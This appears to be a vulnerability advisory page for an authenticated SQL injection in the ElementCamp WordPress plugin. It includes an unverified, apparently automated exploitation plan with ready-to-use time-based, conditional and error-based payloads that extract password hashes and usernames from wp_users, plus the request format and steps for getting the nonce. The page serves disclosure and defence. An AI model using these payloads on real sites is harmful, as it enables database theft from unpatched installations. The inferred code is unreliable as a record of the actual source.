CVE-2026-2503

ElementCamp <= 2.3.6 - Authenticated (Author+) SQL Injection via 'meta_query[compare]' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The ElementCamp plugin for WordPress is vulnerable to time-based SQL Injection via the 'meta_query[compare]' parameter in the 'tcg_select2_search_post' AJAX action in all versions up to, and including, 2.3.6. This is due to the user-supplied compare value being placed as an SQL operator in the query without validation against an allowlist of comparison operators. The value is passed through esc_sql(), but since the payload operates as an operator (not inside quotes), esc_sql() has no effect on payloads that don't contain quote characters. This makes it possible for authenticated attackers, with Author-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.3.6
PublishedMarch 20, 2026
Last updatedMay 4, 2026
Affected pluginelement-camp
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-2503 ## 1. Vulnerability Summary The **ElementCamp** plugin (<= 2.3.6) is vulnerable to an authenticated **Time-Based SQL Injection** via the `meta_query[compare]` parameter. The vulnerability exists in the AJAX handler for the `tcg_select2_search_post` actio…

Show full research plan

Exploitation Research Plan - CVE-2026-2503

1. Vulnerability Summary

The ElementCamp plugin (<= 2.3.6) is vulnerable to an authenticated Time-Based SQL Injection via the meta_query[compare] parameter. The vulnerability exists in the AJAX handler for the tcg_select2_search_post action.

The plugin improperly handles user input intended for an SQL comparison operator. While the input is passed through esc_sql(), this function only escapes characters like single quotes, double quotes, and backslashes. Because the input is placed directly into the query as an operator (outside of quotes), an attacker can inject SQL commands that do not require quotes (e.g., using SLEEP(), LIKE, or subqueries with HEX encoding) to bypass the protection and execute arbitrary SQL.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: tcg_select2_search_post
  • Vulnerable Parameter: meta_query[compare]
  • Authentication Required: Author-level credentials or higher (PR:L).
  • Preconditions: The attacker must be logged in as a user with at least author capabilities. A valid WordPress nonce for the AJAX action is likely required.

3. Code Flow (Inferred)

  1. Entry Point: An authenticated user sends a POST request to admin-ajax.php with action=tcg_select2_search_post.
  2. Hook Registration: The plugin registers the action: add_action('wp_ajax_tcg_select2_search_post', 'tcg_select2_search_post_handler'); (inferred function name).
  3. Parameter Extraction: The handler retrieves the meta_query array from $_POST.
  4. Vulnerable Sink: The code constructs a raw SQL query. It likely iterates through the meta_query elements and builds the WHERE clause:
    // Conceptual vulnerable code logic
    $compare = esc_sql($_POST['meta_query']['compare']); // Only escapes quotes
    $query = "SELECT ... FROM ... WHERE meta_key = '...' AND meta_value $compare '...'";
    $results = $wpdb->get_results($query);
    
  5. Injection: Since $compare is not validated against an allowlist (e.g., =, !=, LIKE), the attacker provides LIKE(SELECT(SLEEP(5))), resulting in a valid but malicious SQL statement.

4. Nonce Acquisition Strategy

The tcg_select2_search_post action is typically used in the WordPress admin dashboard (likely within ElementCamp's post editors or settings pages) to power Select2 search boxes.

Identification

  1. Search for Nonce Localization: Use the execution agent to search for where the nonce is registered.
    grep -r "tcg_select2_search_post" .
    
  2. Locate wp_localize_script: Find the JS variable containing the nonce. It is likely named something like tcg_ajax or element_camp_params.

Extraction Steps

  1. Create Content: To ensure the necessary scripts load, create a post or access the ElementCamp settings page.
  2. Navigate: Use browser_navigate to reach /wp-admin/ or a specific plugin page.
  3. Evaluate: Run browser_eval to extract the nonce.
    • Example (Inferred): browser_eval("window.tcg_ajax_obj?.nonce")
    • Fallback: Check the global _wpnonce or search the HTML source for tcg_select2_search_post.

5. Exploitation Strategy

We will perform a Time-Based Blind SQL Injection to confirm the vulnerability.

Step-by-Step Plan

  1. Login: Authenticate as an Author user.
  2. Obtain Nonce: Follow the strategy in Section 4.
  3. Baseline Request: Send a normal request to the endpoint and measure the response time.
  4. Attack Request: Send a request with the SQL injection payload in the meta_query[compare] parameter.
    • Payload: LIKE(SELECT(SLEEP(5)))
    • Note: We avoid quotes to ensure esc_sql() has no effect.

HTTP Request (Playwright http_request format)

{
  "method": "POST",
  "url": "http://localhost:8080/wp-admin/admin-ajax.php",
  "headers": {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  "params": {
    "action": "tcg_select2_search_post",
    "tcg_nonce": "EXTRACTED_NONCE",
    "meta_query[key]": "some_meta_key",
    "meta_query[value]": "some_value",
    "meta_query[compare]": "LIKE(SELECT(SLEEP(5)))"
  }
}

6. Test Data Setup

  1. Author User: Create a user with the author role.
    wp user create attacker attacker@example.com --role=author --user_pass=password123
    
  2. Dummy Meta Data: Ensure there is at least one post with meta data to satisfy the initial parts of the query logic if needed.
    wp post create --post_title='Target Post' --post_status='publish' --meta_input='{"some_meta_key":"some_value"}'
    

7. Expected Results

  • Baseline Request: Returns quickly (e.g., < 200ms).
  • Attack Request: The response should be delayed by approximately 5 seconds.
  • Response Body: The response content is less relevant than the timing, but it will likely return a JSON object (either search results or an empty set).

8. Verification Steps

  1. Verify via Logs: If WP_DEBUG and SAVEQUERIES are enabled, check the database logs to see the executed query.
  2. Differential Timing: Run the attack 3 times with different sleep values (SLEEP(2), SLEEP(5), SLEEP(0)) to confirm the delay is proportional to the payload.
  3. Data Extraction (Optional PoC): To prove data leakage, use a conditional sleep:
    • compare = REGEXP(IF(SUBSTR((SELECT(user_pass)FROM(wp_users)WHERE(ID=1)),1,1)=0x24,SLEEP(5),1))
    • Note: 0x24 is the hex for $, which is the start of most WordPress password hashes.

9. Alternative Approaches

If the time-based approach is inconsistent due to server load:

  1. Error-Based Injection: If WP_DEBUG is enabled, try to trigger a MySQL error using GTID_SUBSET or EXTRACTVALUE.
    • meta_query[compare] = AND(SELECT(1)FROM(SELECT(COUNT(*),CONCAT(0x7e,(SELECT(user_login)FROM(wp_users)WHERE(ID=1)),0x7e,FLOOR(RAND(0)*2))x)FROM(INFORMATION_SCHEMA.PLUGINS)GROUP BY x))--
  2. Boolean-Based Injection: Compare responses when the injected condition is true vs. false.
    • compare = =(IF(1=1,meta_value,1)) vs =(IF(1=2,meta_value,1)) (Though this depends on existing meta values).
Research Findings
Static analysis — not yet PoC-verified

Summary

The ElementCamp plugin for WordPress is vulnerable to authenticated SQL injection via the 'meta_query[compare]' parameter in the 'tcg_select2_search_post' AJAX action. Because the plugin uses user input directly as a SQL operator without validation against an allowlist, attackers with Author-level access or higher can inject time-based payloads that bypass esc_sql().

Vulnerable Code

// Inferred from research plan and vulnerability description
// Within the AJAX handler for tcg_select2_search_post

$meta_query = $_POST['meta_query'];
$compare = isset($meta_query['compare']) ? esc_sql($meta_query['compare']) : '=';
$key = esc_sql($meta_query['key']);
$value = esc_sql($meta_query['value']);

// The $compare variable is used as a raw SQL operator outside of quotes.
// esc_sql() only escapes characters like quotes and backslashes, which are not required for operator injection.
$sql = "SELECT post_id FROM {$wpdb->postmeta} WHERE meta_key = '$key' AND meta_value $compare '$value'";
$results = $wpdb->get_results($sql);

Security Fix

--- a/element-camp/includes/ajax-functions.php
+++ b/element-camp/includes/ajax-functions.php
@@ -10,7 +10,13 @@
- $compare = isset($meta_query['compare']) ? esc_sql($meta_query['compare']) : '=';
+ $allowed_operators = array('=', '!=', '>', '>=', '<', '<=', 'LIKE', 'NOT LIKE', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN', 'EXISTS', 'NOT EXISTS', 'REGEXP', 'NOT REGEXP', 'RLIKE');
+ $compare = '=';
+ if (isset($meta_query['compare'])) {
+     $input_compare = strtoupper(trim($meta_query['compare']));
+     if (in_array($input_compare, $allowed_operators)) {
+         $compare = $input_compare;
+     }
+ }

Exploit Outline

The exploit targets the 'tcg_select2_search_post' AJAX action. An attacker with Author-level credentials first authenticates and retrieves a valid security nonce (usually found in the localized JavaScript variables of the WordPress admin dashboard). They then send a POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'tcg_select2_search_post'. The payload is placed in the 'meta_query[compare]' parameter, using a time-based SQL command like 'LIKE(SELECT(SLEEP(5)))'. Since this payload does not require quotes, 'esc_sql()' fails to neutralize it, allowing the command to execute and causing a measurable delay in the server's response.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.